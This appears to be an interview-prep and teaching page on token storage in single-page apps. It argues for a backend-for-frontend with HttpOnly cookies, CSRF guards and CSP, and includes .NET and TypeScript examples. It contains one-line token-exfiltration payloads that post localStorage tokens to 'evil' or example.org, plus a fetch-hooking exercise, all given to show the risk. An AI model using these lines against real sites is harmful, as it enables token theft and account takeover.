Token storage in SPAs from the browser's side: what injected script can do with tokens in localStorage, sessionStorage or memory, why in-memory tokens only narrow the window, and why the BFF pattern with HttpOnly SameSite cookies is the current recommendation.
Anything in localStorage or sessionStorage is readable by any JavaScript on the origin. One XSS bug or one compromised npm dependency can run fetch('https://evil', {body: localStorage.refresh_token}), and the attacker now has a refresh token that works from their own machine for days. sessionStorage only shortens the lifetime; in-memory tokens make theft harder, but injected script can still hook fetch or call your API as the user.
The backend-for-frontend (BFF) pattern removes tokens from the browser: a server-side component on the same origin does the OIDC flow, keeps tokens server-side, and gives the browser an HttpOnly, Secure, SameSite session cookie. XSS can still misuse the open session, but it cannot steal credentials to use later. The trade-off is a server component and CSRF protection in exchange for removing the most damaging failure mode.
"The key fact is that the browser has no private storage for JavaScript. localStorage and sessionStorage belong to the origin, so every script running on that origin can read them: our code, our analytics snippet, every npm package in the bundle, and any script an attacker manages to inject. If the refresh token is in localStorage, an XSS payload is one line: read it and post it to the attacker's server. From then on they can mint access tokens from their own laptop until the refresh token expires or is revoked, and the user never sees anything.
In-memory storage, meaning a variable inside a closure or a Web Worker, is better: nothing survives in storage and a casual payload can't just read a key. But it's not a security boundary. Injected script runs in the same page; it can monkey-patch
fetchto capture theAuthorizationheader, or simply call the API itself while the user is on the page. For example, on [project] a pen test found a DOM XSS in a rich-text preview. Because tokens were in localStorage, the tester could demonstrate account takeover that persisted after the user logged out. After we moved to a BFF, the same bug only allowed actions during the open session, and the finding dropped from [critical] to [medium] while we fixed the XSS.That's why the IETF's browser-based apps guidance and Microsoft's docs now put the BFF first. The SPA talks only to its own backend, the backend holds the tokens and attaches them when it forwards calls, and the browser holds an HttpOnly, Secure, SameSite cookie it cannot read. The mistake I see is treating BFF as the end of the story. You still need CSRF protection because cookies are sent automatically, and you still need CSP and safe rendering, because XSS with a BFF is still XSS. The BFF changes 'attacker owns the account' into 'attacker can act while the tab is open'."
| Storage | Readable by injected JS? | Survives reload/tabs | Theft for later use? | Can act as user now? |
|---|---|---|---|---|
localStorage |
Yes, trivially | Yes, forever | Yes | Yes |
sessionStorage |
Yes, trivially | Tab only | Yes, while tab is open | Yes |
| In-memory (closure/worker) | Harder, via hooks | No | Possible by hooking fetch |
Yes |
| HttpOnly cookie (BFF) | No | Per cookie expiry | No | Yes, while page is open |
| Approach | Security | Cost | Fits |
|---|---|---|---|
| Tokens in localStorage | Weakest | Simplest | Nothing handling personal data |
| In-memory + refresh via hidden iframe or rotation | Medium | Silent renew breaks with third-party cookie blocking | Public client with low risk |
| BFF with HttpOnly cookie | Strongest for browsers | A server component, CSRF defences | Recommended default |
A stolen refresh token that exposes customer records can be an eligible data breach under the Notifiable Data Breaches scheme (Privacy Act 1988), so storage choices are not just engineering taste.
On a customer portal with [about 50,000] users, moving from localStorage tokens to a BFF removed tokens from the browser entirely; access-token lifetime stayed at 10 minutes server-side, and the next penetration test reported no token-theft finding.
Checks whether the candidate understands browser trust boundaries well enough to make and defend a token-storage decision.
Green flags
Red flags
The same-origin policy isolates origins from each other, not scripts within one origin. Every script tag, every bundle chunk and every injected payload runs with identical rights: same DOM, same storage, same cookies-sent-with-fetch.
https://app.example.com.au
├─ your bundle ┐
├─ analytics snippet │ all share: DOM, localStorage,
├─ 400 npm dependencies │ sessionStorage, fetch, cookies (non-HttpOnly)
└─ injected XSS payload ┘
dangerouslySetInnerHTML, innerHTML, unsafe Markdown).Exfiltration is a single request; CSP connect-src can block unknown destinations, which is a useful extra layer.
An attacker's script can replace window.fetch before your code runs its next request, read the Authorization header and send it away. It can also call /oauth/token itself if the refresh token is reachable. In-memory storage defeats lazy payloads, not targeted ones. Silent renew via hidden iframes relies on the identity provider's cookie in a third-party context, which browsers increasingly block.
Browser (SPA) ── cookie: __Host-bff (HttpOnly, Secure, SameSite=Strict) ──► BFF (same origin)
│ holds access + refresh tokens
▼
API ◄── Authorization: Bearer ...
The BFF is a confidential client: it authenticates to the identity provider with a secret or certificate, uses the code flow with PKCE, and refreshes tokens server-side. The browser never sees a token. Injected script can still send requests (the cookie goes automatically), so XSS remains serious, but the session ends when the cookie is cleared or expires, and the server can revoke it.
X-CSRF: 1) that cross-site forms cannot set without a preflight, and use SameSite=Strict or Lax.Short access-token lifetimes (5 to 15 minutes), refresh token rotation with reuse detection, sender-constrained tokens (DPoP) where supported, a strict CSP, Trusted Types, and dependency scanning (npm audit, Dependabot, lockfiles).
fetch('https://example.org', {method:'POST', body: localStorage.token, mode:'no-cors'}) in the console and see it leave in the Network tab.HttpOnly from ASP.NET Core and confirm document.cookie cannot see it.window.fetch in the console and watch it capture an Authorization header from your app's next call.connect-src and repeat exercise 1.The contrast: tokens in localStorage versus a BFF session where the SPA only sends cookies and a CSRF header.
// Before: tokens readable by any script on the origin.
localStorage.setItem("access_token", tokens.access_token);
localStorage.setItem("refresh_token", tokens.refresh_token); // one XSS = long-lived account takeover
await fetch("https://api.example.com.au/orders", {
headers: { Authorization: `Bearer ${localStorage.getItem("access_token")}` },
});
// After: the SPA holds no tokens. Same-origin calls; the HttpOnly cookie goes automatically.
export async function bff<T>(path: string, init: RequestInit = {}): Promise<T> {
const res = await fetch(`/api${path}`, {
...init,
credentials: "same-origin",
headers: { "X-CSRF": "1", "Content-Type": "application/json", ...init.headers }, // CSRF guard
});
if (res.status === 401) {
window.location.href = `/bff/login?returnUrl=${encodeURIComponent(location.pathname)}`;
throw new Error("Signed out");
}
if (!res.ok) throw new Error(`HTTP ${res.status}`);
return res.json();
}
// BFF side (.NET 10): reject state-changing calls without the custom header.
// A cross-site form cannot add X-CSRF, and cross-origin fetch with it needs a preflight we never allow.
var app = WebApplication.CreateBuilder(args).Build();
app.Use(async (ctx, next) =>
{
if (ctx.Request.Path.StartsWithSegments("/api") && !ctx.Request.Headers.ContainsKey("X-CSRF"))
{
ctx.Response.StatusCode = StatusCodes.Status401Unauthorized;
return;
}
await next(ctx);
});
app.MapGet("/api/ping", () => TypedResults.Ok(new { ok = true }));
app.Run();
fetch or act directly. Instead: Use in-memory only as a fallback, with short lifetimes, and prefer a BFF.SameSite=Strict/Lax plus a required custom header or antiforgery token.__Host- prefix.The question is really about what an attacker gets after one XSS bug, because over a product's life you should assume one will happen. Tokens in browser storage turn that bug into persistent account takeover and potentially a notifiable breach; a BFF turns it into in-session misuse that ends with the tab. That difference justifies the extra server component for anything handling personal or financial data. But be explicit that in-session misuse is still serious: an injected script can act as the user and read everything the user can, so the BFF is one layer, not the fix. The fix for XSS is preventing it: framework encoding (React and Razor escape by default), no dangerouslySetInnerHTML without a sanitiser, a strict nonce-based CSP with a tight connect-src, Trusted Types, Subresource Integrity for third-party scripts, and dependency scanning. For high-risk actions (changing bank details, exporting data) add step-up authentication so a hijacked session cannot complete them alone.
I would not build a BFF from scratch casually. Options in .NET (checked November 2026): Duende BFF (v4, commercial annual licence, with a free community edition for qualifying small organisations), or a hand-rolled BFF using ASP.NET Core cookie + OpenID Connect authentication, SaveTokens and YARP, which Microsoft documents in its Blazor and SPA guidance. Measure success by what a pen tester can do with an injected script, not by where tokens sit.
| Option | When it fits | Cost | When not to |
|---|---|---|---|
| Tokens in browser storage | Throwaway demos | Theft risk | Anything with real users' data |
| In-memory tokens | No server component possible, low-risk data | Silent renew fragility, still exposed to targeted XSS | Regulated or personal data |
| BFF (hand-rolled) | Team comfortable with OIDC and YARP | Build and maintain token refresh, logout, CSRF | Small team without auth expertise |
| BFF (Duende) | Want a supported, tested implementation | Licence fee above community thresholds | Strict no-commercial-dependency policies |
| XSS defence layer | What it stops |
|---|---|
| Encoding / sanitising | The injection itself |
| CSP + Trusted Types | Most script execution and exfiltration paths |
| BFF (no tokens in browser) | Credential theft for later use |
| Step-up auth on risky actions | Silent high-impact actions in a hijacked session |
A refresh token lets a client get new short-lived access tokens without asking the user to sign in again. Because it is long-lived, it is the most valuable token to steal.
HttpOnly, Secure, SameSite cookie.The trade-off: a BFF adds a server hop and session state, in exchange for tokens that never reach the browser.
XSS is when attacker-controlled input is rendered as script in your page, so it runs in your origin with the victim's session: it can read the DOM, call your API as the user and steal tokens kept in localStorage. Stored XSS is saved and served to other users; reflected echoes request input back; DOM-based happens entirely in client-side JavaScript (innerHTML, location.hash).
Razor's @ HTML-encodes by default, which stops most of it. The gaps are the escape hatches (Html.Raw, HtmlString, React's dangerouslySetInnerHTML, Blazor's MarkupString) and wrong contexts: HTML encoding doesn't make a value safe inside a <script> block or an href="javascript:...". Rich text needs an allow-list sanitiser. A CSP with nonces is the safety net, not the fix.
CSRF makes a victim's browser send a state-changing request to your site from another site; it works because the browser attaches cookies automatically. If you authenticate with cookies, you're exposed; if callers send a bearer token in the Authorization header, a cross-site page can't add it, so classic CSRF doesn't apply.
ASP.NET Core's antiforgery uses a synchroniser token: a cookie token plus a token in the form or a header, validated together. MVC forms get it from the form tag helper with [ValidateAntiForgeryToken] or the global auto-validate filter; Razor Pages validate POSTs by default; Minimal APIs need AddAntiforgery/UseAntiforgery and validate form-bound endpoints. SameSite=Lax (the default for ASP.NET Core auth cookies) blocks most cross-site POSTs, but not attacks from a sibling subdomain or GETs that change state, so keep tokens.
How to tell it (STAR)
**S:** On [project], a customer portal for [about 50,000] users, the pen test found a DOM XSS that let the tester steal refresh tokens from localStorage and keep access after logout. **T:** I led the remediation, both the urgent fix and the design change. **A:** We sanitised the vulnerable preview the same day, enabled refresh token rotation and revoked every session. Then I proposed and built a BFF on the same origin with ASP.NET Core cookie and OIDC authentication plus YARP, removed tokens from the SPA, added a custom-header CSRF guard and a strict CSP. **R:** The retest rated the remaining XSS risk [medium] instead of critical, no tokens are reachable from JavaScript, and CSP reports have since caught [N] unexpected script sources.
Last updated 23 Nov 2026.